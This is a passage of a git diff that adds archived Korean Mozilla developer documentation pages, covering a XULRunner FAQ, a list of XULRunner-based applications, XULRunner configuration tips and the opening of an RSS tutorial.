+ <dt>
+  EnableProfileMigrator&lt;/dt&gt;</dt>
+ <dd>
+  응용프로그램을 처음으로 띄우고 프로파일이 없을 때, nsIProfileMigrator 인터페이스를 통해 프로파일 이전 코드 사용 여부를 지정합니다. 맞는 값은 1과 0입니다.<br>
+  선택 - 기본값은 0입니다.<br>
+  주의: 응용프로그램 제작자에게 <a href="https://dxr.mozilla.org/mozilla-central/source/toolkit/profile/public/nsIProfileMigrator.idl" rel="custom">nsIProfileMigrator 인터페이스</a>를 구현할 책임이 있습니다; 만약 구현이 없으면 이전이 수행되지 않습니다.<br>
+  보기: &lt;tt&gt;EnableProfileMigrator=1&lt;/tt&gt;
+  <p> </p>
+ </dd>
+</dl>
+<p><span class="comment">Interwiki Language Links</span></p>
+<p></p>
diff --git a/files/ko/archive/mozilla/xulrunner/xulrunner_faq/index.html b/files/ko/archive/mozilla/xulrunner/xulrunner_faq/index.html
new file mode 100644
index 0000000000..35b81ee4da
--- /dev/null
+++ b/files/ko/archive/mozilla/xulrunner/xulrunner_faq/index.html
@@ -0,0 +1,64 @@
+---
+title: XULRunner FAQ (자주 하는 질문)
+slug: Archive/Mozilla/XULRunner/XULRunner_FAQ
+tags:
+  - FAQ
+  - XUL
+  - XULRunner
+  - 도움말
+  - 주요문의
+  - 질문과 답변
+translation_of: Archive/Mozilla/XULRunner/FAQ
+---
+<p> </p>
+<p>이 페이지는 <a href="/en-US/docs/XULRunner" style="line-height: inherit;" title="/en-US/docs/XULRunner">XULRunner</a>에 관한 많은 분들의 질문들에 대한 답변과 공통적으로 오해하는 내용들을 바로잡기 위해 작성되었습니다.</p>
+<p> </p>
+<dl>
+  <dt>
+    XULRunner는 브라우저인가요?</dt>
+  <dd>
+    아니오. 브라우저<span style="line-height: inherit;">(</span><a class="external" href="http://benjamin.smedbergs.us/xulrunner/" style="line-height: inherit;">제가 만든 브라우저 예제</a><span style="line-height: inherit;"> 또는  Firefox)를 만들기 위해 XULRunner를 사용하실 수는 있습니다. 하지만 </span><span style="line-height: inherit;">"XULRunner browser" 같은 건 없습니다.</span></dd>
+  <dt>
+    XULRunner는 개발 도구인가요?</dt>
+  <dd>
+    딱히 그렇다고 볼 순 없습니다. XULRunner는 인터넷 기술 실행도구(Runtime)입니다. XULRunner는 (예를 들면 <a class="external" href="http://www.alphaworks.ibm.com/tech/ajaxtk" style="line-height: inherit;">AJAX Toolkit Framework</a><span style="line-height: inherit;"> 같은) </span><span style="line-height: inherit;">개발 도구의 제작에 활용될 수 있습니다.</span><span style="line-height: inherit;"> 훗날에는 다양한 개발 도구들을 포함하는 XULRunner 개발 키트(Developer Kit)가 나올 수도 있겠지요.</span></dd>
+  <dt>
+    XULRunner를 Java, .NET(또는 Python) 등의 다른 실행도구(Runtime)들과 비교하면 어떻게 다른가요?</dt>
+  <dd>
+    XULRunner의 목적은 인터넷 응용프로그램의 개발과 배포를 더욱 빠르게 해주기 위한 것입니다. 그렇기 때문에 모든 기능을 포함하는 실행도구가 될 필요가 없는 것이지요. 이러한 이유로 다른 여타의 방대한 기능을 제공하는 실행도구들에 비해, XULRunner는 아주 약간의 변화와 더욱 간소화된 배포 전략을 취할 수 있었습니다.</dd>
+  <dt>
+    XULRunner를 사용한다면 저의 응용 프로그램을 XUL로 작성해야만 하나요?</dt>
+  <dd>
+    아닙니다! 여러분은 Mozilla 웹 플랫폼<span style="line-height: inherit;">(HTML, XHTML, SVG 또는 XUL이 포함됨)</span><span style="line-height: inherit;">에 의해 지원되는 어떠한 언어로도 응용 프로그램을 만드실 수 있습니다.</span></dd>
+  <dt>
+    그렇다면 왜 XULRunner이라고 불러야 하죠? HTMLRunner나 다른 이름으로도 불러도 될텐데?</dt>
+  <dd>
+    XUL은 mozilla의 응용 프로그램의 UI에 항상 선택되어 왔던 기본 언어였습니다. 그리고  메인 라이브러리의 명칭이 libXUL이였습니다. 이런 이유들로 불리워진 이름이 고착화 되어서 지금에 이르게 된 것이지요.</dd>
+  <dt>
+    언제쯤이면 Firefox가 XULRunner 기반으로 제작될 예정이지요?</dt>
+  <dd>
+    FireFox의 공식 배포 버전을 그렇게 변경하지는 않을 것입니다. 이미 XULRunner 기반으로 FireFox를 실행하는 것은 지금도 가능하고, 일부 Linux 배포판에서도 이미 이런 식으로 구동이 되고 있습니다.</dd>
+  <dt>
+    XULRunner의 설치는 왜 그리 어려운가요? 쉽고 편리한 설치 도구는 없나요?</dt>
+  <dd>
+    왜나하면 아직 아무도 그런 코드를 만들지 않아서입니다! 다음은 개발자 프리뷰 배포 내용입니다.</dd>
+  <dd>
+    XULRunner 및 XULRunner 기반 응용 프로그램의 설치와 배포를 위한 추가 기능들은 차후의 릴리즈에 반영될 것입니다.</dd>
+  <dt>
+    XUL 응용 프로그램을 제작 중인데요, 저의 사용자들에게 어떻게 응용 프로그램을 배포할 수 있나요?</dt>
+  <dd>
+    지금 현재로써 Mozilla는 각각의 응용 프로그램별로 XULRunner를 따로 포함시켜 배포하시기를 권해 드립니다. 더 자세한 정보는 <a href="https://developer.mozilla.org/en/XULRunner/Deploying_XULRunner_1.8" style="line-height: inherit;" title="en/XULRunner/Deploying_XULRunner_1.8">XULRunner 1.8 배포하기</a><span style="line-height: inherit;">를 확인하세요.</span></dd>
+  <dt>
+    소스 코드는 어디에서 찾을 수 있나요?</dt>
+  <dd>
+    <a class="external" href="http://ftp.mozilla.org/pub/mozilla.org/xulrunner/releases/1.8.0.4/source/xulrunner-1.8.0.4-source.tar.bz2" style="padding-right: 16px; background-color: transparent;">여기에서 확인하세요.</a></dd>
+  <dt>
+    제가 버그를 발견한 것 같은데요, 어떻게 알려드릴 수 있나요?</dt>
+  <dd>
+    <a class="external link-https" href="https://bugzilla.mozilla.org/" style="padding-right: 16px; background-color: transparent;">bugzilla.mozilla.org</a> 사이트는 모든 Mozilla 제품들의 버그를 추적하기 위해 이용됩니다. 미리 검색을 해서 여러분의 버그가 아직 보고되지 않은 것임을 확인해 주세요.</dd>
+  <dt>
+    어떻게 도움을 줄 수 있나요?</dt>
+  <dd>
+    XULRunner에 도움을 주고 싶지만 어디에서부터 시작해야 할지를 모르신다면, <a href="https://developer.mozilla.org/en/XULRunner/Community" title="en/XULRunner/Community">XULRunner:커뮤니티</a> 페이지를 방문해서 뉴스그룹이나 IRC 채널에서 질문해 보세요.</dd>
+</dl>
+<p></p>
diff --git a/files/ko/archive/mozilla/xulrunner/xulrunner_hall_of_fame/index.html b/files/ko/archive/mozilla/xulrunner/xulrunner_hall_of_fame/index.html
new file mode 100644
index 0000000000..ed5384c6b1
--- /dev/null
+++ b/files/ko/archive/mozilla/xulrunner/xulrunner_hall_of_fame/index.html
@@ -0,0 +1,178 @@
+---
+title: XULRunner Hall of Fame
+slug: Archive/Mozilla/XULRunner/XULRunner_Hall_of_Fame
+tags:
+  - XUL
+  - XULRunner
+  - enterprise
+translation_of: Archive/Mozilla/XULRunner/Hall_of_Fame
+---
+<p> </p>
+<h3 id="XULRunner_.EA.B8.B0.EB.B0.98_.ED.94.84.EB.A1.9C.EA.B7.B8.EB.9E.A8" name="XULRunner_.EA.B8.B0.EB.B0.98_.ED.94.84.EB.A1.9C.EA.B7.B8.EB.9E.A8">XULRunner 기반 프로그램</h3>
+<ul>
+ <li><a class="external" href="http://chatzilla.rdmsoft.com/xulrunner/">ChatZilla</a>
+  <ul>
+   <li>ChatZilla IRC client 독립 프로그램.</li>
+  </ul>
+ </li>
+ <li><a class="external" href="http://ffsearchplugins.free.fr/clines/index.php#xulrunner">Clines</a>
+  <ul>
+   <li>Color Lines 게임 프로그램</li>
+  </ul>
+ </li>
+ <li><a class="external" href="http://www.psyc.us">CocoaPSYC.app</a>
+  <ul>
+   <li>A <a class="external" href="http://about.psyc.eu">PSYC</a> IM/Chat client for Mac OS X (Also available as a Firefox extension)</li>
+  </ul>
+ </li>
+ <li><a class="external" href="http://www.twinsoft.com/intl/en/cariocaweb/convertigo-ems-enterprise-mashup-server.htm">Convertigo Enterprise Mashup Server</a>
+  <ul>
+   <li>기업형 매쉬업 서비스를 만들기 위한 프로그램</li>
+  </ul>
+ </li>
+ <li><a class="external" href="http://daim.project.free.fr/">DAIM (fr)</a> / <a class="external" href="http://daim.project.free.fr/index_en.html">DAIM (English)</a>)
+  <ul>
+   <li>superb tool for image analysis build on top of a professional imagelib</li>
+  </ul>
+ </li>
+ <li><a class="external" href="http://developer.emusic.com/">eMusic Remote</a>
+  <ul>
+   <li>The eMusic Remote makes downloading from eMusic a snap.</li>
+  </ul>
+ </li>
+ <li><a class="external" href="http://open-ils.org/">Evergreen - Staff Client</a>
+  <ul>
+   <li>Evergreen is an open source library system.</li>
+  </ul>
+ </li>
+ <li><a class="external" href="http://mathijs.jurresip.nl/findthatfont/">FindThatFont!</a>
+  <ul>
+   <li>Font managing tool for Windows and Linux, that helps you find the font you're looking for.</li>
+  </ul>
+ </li>
+ <li><a class="external" href="http://www.jakinbidea.com/?page_id=39">GencatRss</a>
+  <ul>
+   <li>An RSS feeds manager.</li>
+  </ul>
+ </li>
+ <li><a class="external" href="http://services.google.com/adwordseditor/index.html">Google AdWords Editor</a>
+  <ul>
+   <li>AdWords Editor is Google's free, downloadable account management application for your computer.</li>
+  </ul>
+ </li>
+ <li><a class="external" href="http://www.birgin.de/produkte/ida/index_EN.php">IDA</a>
+  <ul>
+   <li>E-Learning authoring system to easily create web based learning applications</li>
+  </ul>
+ </li>
+ <li><a class="external" href="http://www.joost.com/">Joost</a> (previously codenamed <a class="external" href="http://www.theveniceproject.com">The Venice Project</a>)
+  <ul>
+   <li>"All the things you love about TV, fused with the interactive power of the internet"</li>
+  </ul>
+ </li>
+ <li><a class="external" href="http://www.kirix.com/">Kirix Strata</a>
+  <ul>
+   <li>A new specialty browser for accessing and manipulating data from the web</li>
+  </ul>
+ </li>
+ <li><a class="external" href="http://www.mangoproject.org/">Mango</a>
+  <ul>
+   <li>A Jabber client.</li>
+  </ul>
+ </li>
+ <li><a class="external" href="http://www.getmiro.com/">Miro Media Player</a> (formerly known as Democracy Player)
+  <ul>
+   <li>"the free and open source internet TV platform"</li>
+  </ul>
+ </li>
+ <li><a class="external" href="http://davidkellogg.com/wiki/Main_Page">Plain Old Webserver</a>
+  <ul>
+   <li>A fully-functioning webserver that runs server-side Javascript.</li>
+  </ul>
+ </li>
+ <li><a class="external" href="http://www.songbirdnest.com/">Songbird</a>
+  <ul>
+   <li>"Songbird™ is a desktop Web player, a digital jukebox and Web browser mash-up"</li>
+  </ul>
+ </li>
+ <li><a class="external" href="http://telekast.sourceforge.net/">TeleKast</a>
+  <ul>
+   <li>An open source teleprompter and script editor</li>
+  </ul>
+ </li>
+ <li><a class="external" href="http://www.tomtom.com">TomTom HOME 2</a>
+  <ul>
+   <li>PC application to manage TomTom GPS devices</li>
+  </ul>
+ </li>
+ <li><a class="external" href="http://www.openwengo.org">WengoPhone</a>
+  <ul>
+   <li>A SIP/XMPP-based IM/VoIP client.</li>
+  </ul>
+ </li>
+ <li><a class="external" href="http://www-03.ibm.com/developerworks/blogs/page/CompApps?entry=how_to_run_xul_applications">Lotus Notes / Sametime</a>
+  <ul>
+   <li>The latest version of IBM Lotus Notes and Sametime can embed xul application.</li>
+  </ul>
+ </li>
+ <li><a class="external" href="http://developer.mozilla.org/en/docs/Category:Mozilla_Webclient">Embed XULRunner in Java</a></li>
+</ul>
+<h3 id=".EC.9C.A0.ED.8B.B8.EB.A6.AC.ED.8B.B0.2F.ED.94.84.EB.A1.9C.ED.86.A0.ED.83.80.EC.9E.85" name=".EC.9C.A0.ED.8B.B8.EB.A6.AC.ED.8B.B0.2F.ED.94.84.EB.A1.9C.ED.86.A0.ED.83.80.EC.9E.85">유틸리티/프로토타입</h3>
+<ul>
+ <li><a class="external" href="http://www.eclipse.org/atf/">AJAX Toolkit Framework (ATF)</a>
+  <ul>
+   <li>A part of the Eclipse Web Tools Platform (WTP)</li>
+  </ul>
+ </li>
+ <li>Benjamin's <a class="external" href="http://benjamin.smedbergs.us/xulrunner/">XULRunner examples</a>
+  <ul>
+   <li>"mybrowser is a very simple example browser", xulmine</li>
+  </ul>
+ </li>
+ <li><a class="external" href="http://exch.mozdev.org/">Exch</a>
+  <ul>
+   <li>A currency conversion tool using updated data from <a class="external" href="http://finance.yahoo.com/currency" rel="freelink">http://finance.yahoo.com/currency</a>. You can use the Firefox extension or the stand-alone XUL application.</li>
+  </ul>
+ </li>
+ <li><a class="external" href="http://opendocumentfellowship.org/odfviewer">OpenDocument Viewer</a>
+  <ul>
+   <li>Cross-platform viewer for OpenDocument files.</li>
+  </ul>
+ </li>
+ <li><a class="external" href="http://blogs.acceleration.net/ryan/articles/2018.aspx">TaskPool</a>
+  <ul>
+   <li>TaskPool is a little application to help keep track of time. You can add tasks to a pool, turn them on and off, and it will tick off seconds.</li>
+  </ul>
+ </li>
+ <li><a class="external" href="http://www.treebuilder.de/default.asp?file=257091.xml">SVGclock</a>
+  <ul>
+   <li>An SVG-based clock.</li>
+  </ul>
+ </li>
+ <li><a class="external" href="http://simile.mit.edu/crowbar/">Crowbar</a>
+  <ul>
+   <li>A web scraping environment based on the use of a server-side headless mozilla-based browser.</li>
+  </ul>
+ </li>
+ <li><a class="external" href="http://www.jinsync.com/?q=node/9">30b</a>
+  <ul>
+   <li>A XULRunner-based wrapper for 30boxes.com</li>
+  </ul>
+ </li>
+ <li><a class="external" href="http://starkravingfinkle.org/blog/xul-explorer/">XUL Explorer</a>
+  <ul>
+   <li>"a lightweight XUL IDE... an easy way to experiment with XUL"</li>
+  </ul>
+ </li>
+ <li><a class="external" href="http://www.smellman.homelinux.org/mozilla/xulapp.html#foxkehclock">Foxkeh Clock</a> (for Japanese page)
+  <ul>
+   <li>A clock application based charactor <a class="external" href="http://www.foxkeh.com/">Foxkeh</a>.</li>
+  </ul>
+ </li>
+ <li><a class="external" href="http://starkravingfinkle.org/blog/2007/07/webrunner-05-now-with-more-power/">WebRunner</a>
+  <ul>
+   <li>A simple, minimal web browser shell or "Single site browser." Useful for running web applications such as gmail in a separate browser process.</li>
+  </ul>
+ </li>
+</ul>
+<p></p>
diff --git a/files/ko/archive/mozilla/xulrunner/xulrunner_tips/index.html b/files/ko/archive/mozilla/xulrunner/xulrunner_tips/index.html
new file mode 100644
index 0000000000..44d681cd22
--- /dev/null
+++ b/files/ko/archive/mozilla/xulrunner/xulrunner_tips/index.html
@@ -0,0 +1,168 @@
+---
+title: XULRunner tips
+slug: Archive/Mozilla/XULRunner/XULRunner_tips
+tags:
+  - XUL
+  - XULRunner
+translation_of: Archive/Mozilla/XULRunner/Tips
+---
+<p>XULRunner Frequently Asked Questions. Work in progress.</p>
+<h2 id="Extension_Manager" name="Extension_Manager">Extension Manager</h2>
+<p>To be able to install any extensions, you first need to enable the Extension Manager in <a href="ko/XUL_Application_Packaging#em">application.ini</a>. XULRunner 1.8.0 does not load extensions from the application directory; only the XULRunner directory and the user profile directory are checked. The following prefs must also be set to make the XPInstall dialog, extension manager, and theme manager work:</p>
+<pre class="eval">pref("xpinstall.dialog.confirm", "<a class="external" rel="freelink">chrome://mozapps/content/xpinstall/x...allConfirm.xul</a>");
+pref("xpinstall.dialog.progress.skin", "<a class="external" rel="freelink">chrome://mozapps/content/extensions/...ul?type=themes</a>");
+pref("xpinstall.dialog.progress.chrome", "<a class="external" rel="freelink">chrome://mozapps/content/extensions/...ype=extensions</a>");
+pref("xpinstall.dialog.progress.type.skin", "Extension:Manager-themes");
+pref("xpinstall.dialog.progress.type.chrome", "Extension:Manager-extensions");
+pref("extensions.update.enabled", true);
+pref("extensions.update.interval", 86400);
+pref("extensions.dss.enabled", false);
+pref("extensions.dss.switchPending", false);
+pref("extensions.ignoreMTimeChanges", false);
+pref("extensions.logging.enabled", false);
+pref("general.skins.selectedSkin", "classic/1.0");
+// NB these point at AMO
+pref("extensions.update.url", "<a class="external" rel="freelink">chrome://mozapps/locale/extensions/e...ons.properties</a>");
+pref("extensions.getMoreExtensionsURL", "<a class="external" rel="freelink">chrome://mozapps/locale/extensions/e...ons.properties</a>");
+pref("extensions.getMoreThemesURL", "<a class="external" rel="freelink">chrome://mozapps/locale/extensions/e...ons.properties</a>");
+</pre>
+<h2 id="Useful_Chrome_URLs" name="Useful_Chrome_URLs">Useful Chrome URLs</h2>
+<p>Most of these require <a href="#Branding"> branding</a>.</p>
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Window</th>
+   <th>URL</th>
+   <th>Window Type</th>
+  </tr>
+  <tr>
+   <td>Extension Manager</td>
+   <td><a class="external" rel="freelink">chrome://mozapps/content/extensions/...ype=extensions</a></td>
+   <td>Extension:Manager-extensions</td>
+  </tr>
+  <tr>
+   <td>Theme Manager</td>
+   <td><a class="external" rel="freelink">chrome://mozapps/content/extensions/...ul?type=themes</a></td>
+   <td>Extension:Manager-themes</td>
+  </tr>
+  <tr>
+   <td>JavaScript Console</td>
+   <td><a class="external" rel="freelink">chrome://global/content/console.xul</a></td>
+   <td>global:console</td>
+  </tr>
+  <tr>
+   <td>about:config</td>
+   <td><a class="external" rel="freelink">chrome://global/content/config.xul</a></td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+<h2 id="Developer_Extensions" name="Developer_Extensions">Developer Extensions</h2>
+<p>--<a>Tlaurenzo</a> 17:34, 17 March 2006 (PST)There is another way to go about this. See my <a class="external" href="http://tjlaurenzo.blogspot.com/2006/03/getting-dev-tools-working-with.html">blog post</a> for a working method to get Venkman and the Extension Developer's Extension working in XULRunner apps.</p>
+<h3 id="Venkman" name="Venkman"><a href="ko/Venkman">Venkman</a></h3>
+<ul>
+ <li>Need a custom build or a compatible extension</li>
+ <li>Need to edit compatibility in
+  <i>
+   install.rdf</i>
+  to match the id and versions in application.ini</li>
+ <li>Needs a method to start venkman (usually by overlaying the main XUL file, similar to existing code for Firefox, Suite, etc.)</li>
+ <li>The function toOpenWindowByType() needs to be defined. I found a working stub on <a class="external" href="http://tjlaurenzo.blogspot.com/2006/03/getting-dev-tools-working-with.html">this blog</a>. Any better suggestion?</li>
+ <li>Venkman uses "<a class="external" rel="freelink">chrome://communicator/skin/</a>" as an alias for "<a class="external" rel="freelink">chrome://global/skin/</a>" and this alias was maintained in the XULRunner toolkit until XULRunner 1.9 was released. When using XULRunner 1.9 or greater, you can create your own alias"</li>
+</ul>
+<pre>in your chrome manifest add a "skin" line:
+
+skin communicator classic/1.0 skin/communicator/
+
+add a skin folder named "communicator" and add a single CSS file named "communicator.css" with this content:
+
+@import url("chrome://global/skin/");
+</pre>
+<h3 id="DOM_Inspector" name="DOM_Inspector"><a href="ko/DOM_Inspector">DOM Inspector</a></h3>
+<p>Same as venkman</p>
+<h3 id="Component_Viewer" name="Component_Viewer">Component Viewer</h3>
+<p>Need custom build, first of all. What else?</p>
+<h3 id="Extension_Developer.27s_Extension" name="Extension_Developer.27s_Extension">Extension Developer's Extension</h3>
+<p><a class="external" href="http://ted.mielczarek.org/code/mozilla/extensiondev/">Extension Developer's Extension</a> is a useful tool, featuring Live XUL Editor and JavaScript Shell.</p>
+<p>To install the extension into your application you'll need to hack its install.rdf (see above). You'll probably also want to create menuitems that let you open the JS Shell and other tools provided by the extension.</p>
+<h2 id="Branding" name="Branding">Branding</h2>
+<p>Branding is a <a href="ko/Chrome_Registration">chrome package</a> containing product-specific information (e.g. the product name, vendor, and logo).</p>
+<p>Some XULRunner components (in particular, the <a href="#Extension_Manager"> Extension Manager</a>) depend on branding, in the sense that they expect to find certain strings in &lt;tt&gt;<a class="external" rel="freelink">chrome://branding/locale/brand.dtd</a>&lt;/tt&gt; and &lt;tt&gt;<a class="external" rel="freelink">chrome://branding/locale/brand.properties</a>&lt;/tt&gt;.</p>
+<p>In order to satisfy these dependencies, you can save Firefox's &lt;tt&gt;brand.dtd&lt;/tt&gt;/&lt;tt&gt;brand.properties&lt;/tt&gt; to &lt;tt&gt;chrome/locale/branding&lt;/tt&gt; folder, modify them appropriately, and <a href="ko/Chrome_Registration#locale">register a locale provider</a> for &lt;tt&gt;branding&lt;/tt&gt; by adding the following line to your chrome manifest:</p>
+<pre class="eval">locale branding en-US chrome/locale/branding/
+</pre>
+<p>The location you put the branding files in doesn't matter, as long as you register it appropriately in the manifest.</p>
+<p>In addition, a branding content package <a href="ko/Chrome_Registration#content">must be registered</a> to include the application logo:</p>
+<pre class="eval">content branding chrome/branding
+</pre>
+<p>2 icon files must provided in this folder :
+ <i>
+  icon48.png</i>
+ and
+ <i>
+  icon64.png</i>
+ . See <a class="external" href="http://mxr.mozilla.org/mozilla/source/other-licenses/branding/firefox/content/">Firefox</a> for example.</p>
+<p><span class="comment">In ''~.mozconfig'': ac_add_options --enable-branding=« branding location »</span></p>
+<h3 id="Making_Windows_display_correct_application_name_and_icon_when_buttons_are_grouped" name="Making_Windows_display_correct_application_name_and_icon_when_buttons_are_grouped">Making Windows display correct application name and icon when buttons are grouped</h3>
+<p>By default, the task bar on Windows might group windows belonging to the same process into one button to save space. This button is usually called "xulrunner.exe" and has XULRunner's icon. There are two approaches to display the branding of your application instead:</p>
+<ul>
+ <li>When compiling XULRunner yourself: create a file module.ver in the directory mozilla/xulrunner/app with the contents:
+  <pre>WIN32_MODULE_DESCRIPTION=MyApplication</pre>
+  <p>MyApplication should be replaced by whatever you want to see as title of the button. You can also replace xulrunner.ico in the same directory to change XULRunner's icon to the icon of your application.</p>
+ </li>
+ <li>With a precompiled XULRunner: use xulrunner-stub.exe to start your application but rename it into MyApplication.exe. With XULRunner 1.9 this will make the desired name appear in the task bar (not with XULRunner 1.8 however). Your application's icon can also be added to this executable with a tool like <a class="external" href="http://www.angusj.com/resourcehacker/">Resource Hacker</a>.</li>
+</ul>
+<h2 id="Reading_command_line_arguments" name="Reading_command_line_arguments">Reading command line arguments</h2>
+<p>See <a href="ko/Chrome/Command_Line">Chrome: Command Line</a>. Command line arguments are handled via nsICommandLineHandler as usual.</p>
+<p><span class="comment">= Can i have JavaScript errors / warnings directed to stdout instead of the jsconsole? = See <a class="external" href="https://bugzilla.mozilla.org/show_bug.cgi?id=306263" title="https://bugzilla.mozilla.org/show_bug.cgi?id=306263">#306263</a> This doesn't do anything (1.8.0.1): xulrunner -app application.ini -console This neither (1.8.0.1) in ''defaults/preferences/«application name».js'': pref("javascript.options.strict", true); pref("javascript.options.showInConsole", true); pref("browser.dom.window.dump.enabled", true);</span></p>
+<p> </p>
+<h2 id="Preferences_needed_for_file_download_dialogs" name="Preferences_needed_for_file_download_dialogs">Preferences needed for file download dialogs</h2>
+<p>To use the unknown-content-type and file-downloads dialogs from a &lt;browser&gt; element, you need to add the following prefs:</p>
+<pre class="eval">pref("browser.download.useDownloadDir", true);
+pref("browser.download.folderList", 0);
+pref("browser.download.manager.showAlertOnComplete", true);
+pref("browser.download.manager.showAlertInterval", 2000);
+pref("browser.download.manager.retention", 2);
+pref("browser.download.manager.showWhenStarting", true);
+pref("browser.download.manager.useWindow", true);
+pref("browser.download.manager.closeWhenDone", true);
+pref("browser.download.manager.openDelay", 0);
+pref("browser.download.manager.focusWhenStarting", false);
+pref("browser.download.manager.flashCount", 2);
+//
+pref("alerts.slideIncrement", 1);
+pref("alerts.slideIncrementTime", 10);
+pref("alerts.totalOpenTime", 4000);
+pref("alerts.height", 50);
+</pre>
+<p>If you are missing preferences that a dialog requires, you will get the following errors:</p>
+<pre class="eval">Component returned failure code: 0x8000ffff (NS_ERROR_UNEXPECTED) [nsIPrefBranch.getBoolPref]
+
+Error: dialog has no properties
+Source File: <a class="external" rel="freelink">chrome://mozapps/content/downloads/u...ontentType.xul</a>
+Line: 1
+</pre>
+<p> </p>
+<h2 id="Enabling_Password_Manager" name="Enabling_Password_Manager">Enabling Password Manager</h2>
+<p>These preferences seem to be the default in Firefox, however, they are missing in XULRunner. Without these settings Password Manager will not store login details.</p>
+<pre class="eval">pref("signon.rememberSignons", true);
+pref("signon.expireMasterPassword", false);
+pref("signon.SignonFileName", "signons.txt");
+</pre>
+<p>You also need to get an instance of the login manager service, which internally initializes the system:</p>
+<pre class="eval">Components.classes["@mozilla.org/login-manager;1"].getService(Components.interfaces.nsILoginManager);
+</pre>
+<h2 id="Firefox_3.EB.A5.BC_.EC.9D.B4.EC.9A.A9.ED.95.9C_XULRunner_.EC.9D.91.EC.9A.A9_.ED.94.84.EB.A1.9C.EA.B7.B8.EB.9E.A8_.EC.8B.A4.ED.96.89.ED.95.98.EA.B8.B0" name="Firefox_3.EB.A5.BC_.EC.9D.B4.EC.9A.A9.ED.95.9C_XULRunner_.EC.9D.91.EC.9A.A9_.ED.94.84.EB.A1.9C.EA.B7.B8.EB.9E.A8_.EC.8B.A4.ED.96.89.ED.95.98.EA.B8.B0">Firefox 3를 이용한 XULRunner 응용 프로그램 실행하기</h2>
+<p>Firefox 3에는 XULRunner 런타임(runtime)이 포함되어 있습니다. 브라우저 대신 XUL 응용 프로그램을 실행하려면 명령창에서 &lt;tt&gt;-app&lt;/tt&gt; 옵션으로 실행하면 됩니다. 예를 들어 Windows에서는 다음과 같습니다.</p>
+<pre class="eval">  firefox.exe -app<i>path\to\</i>application.ini
+</pre>
+<p>Mac에서는 다음과 같습니다.</p>
+<pre class="eval">  /Applications/Firefox.app/Contents/MacOS/firefox-bin -app<i>/path/to/</i>application.ini
+</pre>
+<p>Mac의 경우에는 전체 경로(full path)를 모두 입력해야 한다는 점에 주의하세요. 상대 경로를 사용하면 동작하지 않는거 같습니다.</p>
+<h2 id="Troubleshooting" name="Troubleshooting">Troubleshooting</h2>
+<h3 id="Window_title_missing" name="Window_title_missing">Window title missing</h3>
+<p>If the title of your XUL <code>&lt;<a href="ko/XUL/window">window</a>&gt;</code> is blank, even though you specified a title attribute, make sure the extension on your XUL file is &lt;tt&gt;.xul&lt;/tt&gt; rather than &lt;tt&gt;.xml&lt;/tt&gt;.</p>
+<div class="noinclude">
+  </div>
+<p></p>
diff --git a/files/ko/archive/rss/getting_started/index.html b/files/ko/archive/rss/getting_started/index.html
new file mode 100644
index 0000000000..a446858ece
--- /dev/null
+++ b/files/ko/archive/rss/getting_started/index.html
@@ -0,0 +1,56 @@
+---
+title: Getting Started
+slug: Archive/RSS/Getting_Started
+tags:
+  - MDC Project
+  - NeedsEditorialReview
+  - RSS
+  - 'RSS:Getting_Started'
+translation_of: Archive/RSS/Getting_Started
+---
+<h3 id=".EA.B0.9C.EC.9A.94" name=".EA.B0.9C.EC.9A.94">개요</h3>
+<p>이 입문서는 <b>Really Simple Syndication</b> (<b>RSS</b>)에 대한 것입니다.</p>
+<p>여기서는 단계별로 RSS의 기본을 따라가면서 실제로 동작하는 예를 보여줄 것입니다. 그리고
+ <i>
+  무언가를 배우는 가장 좋은 방법은 직접 해보는 것이다</i>
+ 라는 경구를 따라, 당신 스스로 RSS 파일을 직접 만들게 될 것입니다.</p>
+<p> </p>
+<h4 id=".EB.88.84.EA.B0.80_.EC.9D.BD.EC.96.B4.EC.95.BC_.ED.95.98.EB.8A.94.EA.B0.80.3F" name=".EB.88.84.EA.B0.80_.EC.9D.BD.EC.96.B4.EC.95.BC_.ED.95.98.EB.8A.94.EA.B0.80.3F">누가 읽어야 하는가?</h4>
+<p>이 입문서는 주로 RSS 초보자, 즉 거의 혹은 전혀 RSS를 경험해보지 못한 사람들을 대상으로 하고 있습니다. 하지만, RSS에 경험이 있는 사람에게도 모르고 있던 정보를 알게 되거나 알고 있던 것을 새롭게 환기하는 용도로 사용될 수 있습니다.</p>
+<p>이 입문서는 독자가 <a href="ko/HTML">HTML</a> (혹은 <a href="ko/XML">XML</a>)에 어느 정도 경험이 있으며, 기본적인
+ <i>
+  마크업</i>
+ 을 다룰 수 있다고 가정합니다. 다시 말해, 이런 코드를 어렵지 않게 읽을 수 있어야 합니다.</p>
+<pre class="eval">   이 마크업은 &lt;b&gt;굵은 글자를&lt;/b&gt; 표시합니다.
+</pre>
+<p>이 정도라면 RSS를 배우는데 지장이 없습니다.</p>
+<div class="note">
+ <p><b>NOTE</b>: 웹 개발자나 웹 개발자가 되려고 하지 않는 사람에게는 이 입문서가 해당되지 않습니다. 입문서를 잘 사용하려면
+  <i>
+   마크업</i>
+  을 쓸 주 있어야 합니다.</p>
+</div>
+<h4 id=".EC.8B.9C.EC.9E.91.ED.95.98.EA.B8.B0_.EC.A0.84.EC.97.90_.ED.95.84.EC.9A.94.ED.95.9C_.EA.B2.83" name=".EC.8B.9C.EC.9E.91.ED.95.98.EA.B8.B0_.EC.A0.84.EC.97.90_.ED.95.84.EC.9A.94.ED.95.9C_.EA.B2.83">시작하기 전에 필요한 것</h4>
+<p>이 입문서를 잘 활용하기 위해서는, 텍스트 편집기와 RSS 리더가 필요합니다. 그리고 그 편집기와 RSS 리더의 사용법을 알고 있어야 합니다.</p>
+<div class="note">
+ <p><b>NOTE</b>: 워드 프로세서는 텍스트 편집기가 아닙니다. 워드 프로세서를 사용하는 경우, RSS 파일을 저장할 때 반드시 단순한 text 형식으로 저장해야 합니다.</p>
+</div>
+<p>이 입문서의 RSS 파일들을 반드시 만들어야 하는 것은 아니고 그냥 읽기만 해도 되지만, 그것은 배우는 데 있어 좋은 방법은 아닙니다. RSS 파일을 스스로 만들 때 더 많은 것을 잘 배우게 될 것입니다.</p>
+<h4 id=".EC.9D.B4_.EC.9E.85.EB.AC.B8.EC.84.9C.EC.9D.98_.EC.82.AC.EC.9A.A9.EB.B2.95" name=".EC.9D.B4_.EC.9E.85.EB.AC.B8.EC.84.9C.EC.9D.98_.EC.82.AC.EC.9A.A9.EB.B2.95">이 입문서의 사용법</h4>
+<p>입문서의 각 장은 그것만으로도
+ <i>
+  독자적인</i>
